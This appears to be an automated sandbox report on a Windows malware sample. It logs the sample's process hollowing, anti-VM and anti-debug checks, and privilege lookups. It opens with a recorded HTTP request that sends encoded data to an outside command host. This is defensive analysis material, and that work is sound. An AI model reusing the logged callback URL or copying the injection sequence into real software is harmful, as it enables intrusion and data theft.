request	GET http://vm654.loyal.sclad.network/Localcentral.php?xXg4O6XL92ttIEp58nPrsQqYhS1z=yxc1v93Hoh1XY3CFsGxLpB&D4JgqIW6FheLEQ1WFwxUFYUTXnTyLDo=wx&76dac9c05f68f73a7ea391369b42615f=QZyUmZ0QWNmVTYxYjZ3MTYiBjYkdjMiRTZ5UWMwAjNzETM0gjMyMGMxczNxUDMxcjMzAzMzETN&d8cddfd69873ce3642f4bcba78d2ff45=gYyIjYygDMyQWNkFGN3QWZ5UGZzEDNkhTOzMmYzEDNkFmM0MzM3cDN&6ac09b49a2173238fb278404d63037d7=d1nIRZWaNhEZ3xWbjpmTGh1YOhkY2lzRWNGex4Ue0IjYvJFWlFFeGhlNNtWS2k0QhBjRHVVa3lWS1R2MiVHdtJmVKl2Tpd2RkhmQGpVe5ITW6x2RSl2dplUavpWSvJFWZFVMXlVekdlWzZ1RWl2dplUavpWS6JESjJUMXlFbSNTVpdXaJVHZzIWd01mYWpUaPlWUVNVeWJzYWFzVZxmUzUVa3lWS1R2MiVHdtJmVKl2TplEWapnVWJGaWdEZUp0QMlGNyQmd1ITY1ZFbJZTS5pVdGdEV0Z0VaBjTsl0cJlmYzkTbiJXNXZVavpWSvJFWZFVMXlFbSNTVpdXaJB3ZaV3cYFnbzRUeiBnUXRmQClmY2x2RkBXNXFWbWdkUndmMaBHaFt0Z3F2Z0RlYuNna0AncMl2Tp1EWaVXOHF2d502Yqx2VUl2dplUavpWS6FzVZpmSXpFWKNETpRzRYlHeW1kWGVEVR5kVTVEeGhVd3ZEWjhHbJZTS5NWdWdlW55kMVl2dplUM0MkTp9maJVXOXFmeKhlWXRXbjZHZYpFdG12YHpUelJiOikzYhVGNwAjN3gzMhVzNlJjM4ITN1UDZlhDOklDNmVWYiwiIllDMjZDOykjYxMGNxQGO1E2N5UDMmVzYhRWN4EWMiBjMklDM5Y2YzIiOiADO3cTNkNWZwImN4MWYlNTZ5Q2YycjZyIWO5QWYyQmYiwiIwY2MzkzNyYGZiNTZ4MDNzkjZwUzYwYWO4kDMjN2YiRmNllzNwAzM0IiOiIDMiVmYwkDZxMGOllTMzUjZ3IGZ3YWYzYzY1YjZyYTYis3W

Allocates read-write-execute memory (usually to unpack itself) (50 out of 235 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 1638400 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ac0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02370000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02530000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00392000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00445000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ac000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00620000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0039a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0043a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00437000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003aa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00621000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00436000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00623000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00624000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00625000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00626000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00627000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00628000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00629000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0062a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d10178 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d101a0 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d101c8 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 11 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04dc4dde process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 11 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04dc4dd2 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 72 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d10208 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d908c8 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d908ec process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d908f4 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d908f8 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d90900 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d90904 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d90908 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d9090c process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d90914 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d90918 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d90920 process_handle: 0xffffffff		3221225550
NtProtectVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 1960 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04d90924 process_handle: 0xffffffff		3221225550

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (2 events)

Time & API	Arguments	Status	Return	Repeated
GetDiskFreeSpaceExW May 30, 2023, 5:10 p.m.	total_number_of_free_bytes: 9936621568 free_bytes_available: 9936621568 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0
GetDiskFreeSpaceExW May 30, 2023, 5:11 p.m.	total_number_of_free_bytes: 9927368704 free_bytes_available: 9927368704 root_path: C:\ total_number_of_bytes: 34252779520	1	1	0

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW May 30, 2023, 5:10 p.m.	show_type: 0 filepath_r: C:\Python27\Tools\Scripts\taskhost.exe parameters: filepath: C:\Python27\Tools\Scripts\taskhost.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses May 30, 2023, 5:11 p.m.	flags: 15 family: 0		111	0

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x000eea00', u'virtual_address': u'0x00002000', u'entropy': 7.207990324142117, u'name': u'.text', u'virtual_size': u'0x000ee984'}

entropy

7.20799032414

description

A section with a high entropy has been found

entropy

0.997909043387

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (4 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW May 30, 2023, 5:10 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW May 30, 2023, 5:10 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW May 30, 2023, 5:11 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW May 30, 2023, 5:11 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (20 events)

description	task schedule	rule	schtasks_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Take ScreenShot	rule	ScreenShot
description	task schedule	rule	schtasks_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Take ScreenShot	rule	ScreenShot

Terminates another process (4 events)

Time & API	Arguments	Status
NtTerminateProcess May 30, 2023, 5:10 p.m.	status_code: 0xffffffff process_identifier: 2484 process_handle: 0x00000260
NtTerminateProcess May 30, 2023, 5:10 p.m.	status_code: 0xffffffff process_identifier: 2484 process_handle: 0x00000260	1
NtTerminateProcess May 30, 2023, 5:11 p.m.	status_code: 0xffffffff process_identifier: 776 process_handle: 0x0000026c
NtTerminateProcess May 30, 2023, 5:11 p.m.	status_code: 0xffffffff process_identifier: 776 process_handle: 0x0000026c	1

Allocates execute permission to another process indicative of possible code injection (4 events)

Time & API	Arguments	Status	Return
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 2484 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000254		3221225496
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 2524 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000264	1	0
NtAllocateVirtualMemory May 30, 2023, 5:11 p.m.	process_identifier: 776 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000258		3221225496
NtAllocateVirtualMemory May 30, 2023, 5:11 p.m.	process_identifier: 536 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000270	1	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation May 30, 2023, 5:10 p.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

taskhost.exe tried to sleep 5456460 seconds, actually delayed analysis time by 5456460 seconds

Manipulates memory of a non-child process indicative of process injection (4 events)

Time & API	Arguments	Return	Repeated
Process injection	Process 1960 manipulating memory of non-child process 2484
Process injection	Process 800 manipulating memory of non-child process 776
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 2484 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000254	3221225496	0
NtAllocateVirtualMemory May 30, 2023, 5:11 p.m.	process_identifier: 776 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000258	3221225496	0

Potential code injection by writing to the memory of another process (8 events)

Time & API	Arguments	Status	Return
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELaÝbà"Ì ë @ @ dÛ @@ë K H.textË Ì `.rsrc Î @@.reloc Ò @B base_address: 0x00400000 process_identifier: 2524 process_handle: 0x00000264	1	1
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: 0 HX ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo040904B0$CompanyName,FileDescription0FileVersion1.1.1o4InternalNamelibcrypto<OriginalFilenamelibcrypto$ProductName4ProductVersion1.1.1o \|LegalCopyrightCopyright 1998-2022 The OpenSSL Authors. All rights reserved.DVarFileInfo$Translation ° base_address: 0x004a0000 process_identifier: 2524 process_handle: 0x00000264	1	1
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: à ; base_address: 0x004a2000 process_identifier: 2524 process_handle: 0x00000264	1	1
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2524 process_handle: 0x00000264	1	1
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELaÝbà"Ì ë @ @ dÛ @@ë K H.textË Ì `.rsrc Î @@.reloc Ò @B base_address: 0x00400000 process_identifier: 536 process_handle: 0x00000270	1	1
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: 0 HX ÄÄ4VS_VERSION_INFO½ïþ?$StringFileInfo040904B0$CompanyName,FileDescription0FileVersion1.1.1o4InternalNamelibcrypto<OriginalFilenamelibcrypto$ProductName4ProductVersion1.1.1o \|LegalCopyrightCopyright 1998-2022 The OpenSSL Authors. All rights reserved.DVarFileInfo$Translation ° base_address: 0x004a0000 process_identifier: 536 process_handle: 0x00000270	1	1
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: à ; base_address: 0x004a2000 process_identifier: 536 process_handle: 0x00000270	1	1
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: @ base_address: 0x7efde008 process_identifier: 536 process_handle: 0x00000270	1	1

Code injection by writing an executable or DLL to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory May 30, 2023, 5:10 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELaÝbà"Ì ë @ @ dÛ @@ë K H.textË Ì `.rsrc Î @@.reloc Ò @B base_address: 0x00400000 process_identifier: 2524 process_handle: 0x00000264	1	1	0
WriteProcessMemory May 30, 2023, 5:11 p.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELaÝbà"Ì ë @ @ dÛ @@ë K H.textË Ì `.rsrc Î @@.reloc Ò @B base_address: 0x00400000 process_identifier: 536 process_handle: 0x00000270	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1960 called NtSetContextThread to modify thread in remote process 2524
Process injection	Process 800 called NtSetContextThread to modify thread in remote process 536
NtSetContextThread May 30, 2023, 5:10 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4844430 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000260 process_identifier: 2524	1	0	0
NtSetContextThread May 30, 2023, 5:11 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4844430 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000026c process_identifier: 536	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1960 resumed a thread in remote process 2524
Process injection	Process 800 resumed a thread in remote process 536
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000260 suspend_count: 1 process_identifier: 2524	1	0	0
NtResumeThread May 30, 2023, 5:11 p.m.	thread_handle: 0x0000026c suspend_count: 1 process_identifier: 536	1	0	0

Executed a process and injected code into it, probably while unpacking (50 out of 61 events)

Time & API	Arguments	Status	Return
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 1960	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 1960	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000198 suspend_count: 1 process_identifier: 1960	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000248 suspend_count: 1 process_identifier: 1960	1	0
NtGetContextThread May 30, 2023, 5:10 p.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread May 30, 2023, 5:10 p.m.	thread_handle: 0x000000e0	1	0
NtResumeThread May 30, 2023, 5:10 p.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 1960	1	0
CreateProcessInternalW May 30, 2023, 5:10 p.m.	thread_identifier: 2488 thread_handle: 0x00000250 process_identifier: 2484 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\sQdXMQIHJl75b1w.exe track: 1 command_line: "{path}" filepath_r: C:\Users\test22\AppData\Local\Temp\sQdXMQIHJl75b1w.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000254	1	1
NtGetContextThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000250	1	0
NtAllocateVirtualMemory May 30, 2023, 5:10 p.m.	process_identifier: 2484 region_size: 671744 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000254		3221225496
CreateProcessInternalW May 30, 2023, 5:10 p.m.	thread_identifier: 2528 thread_handle: 0x00000260 process_identifier: 2524 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\sQdXMQIHJl75b1w.exe track: 1 command_line: "{path}" filepath_r: C:\Users\test22\AppData\Local\Temp\sQdXMQIHJl75b1w.exe stack_pivoted: 0 creation_flags: 4 (CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000264	1	1
NtGetContextThread May 30, 2023, 5:10 p.m.	thread_handle: 0x00000260	1	0
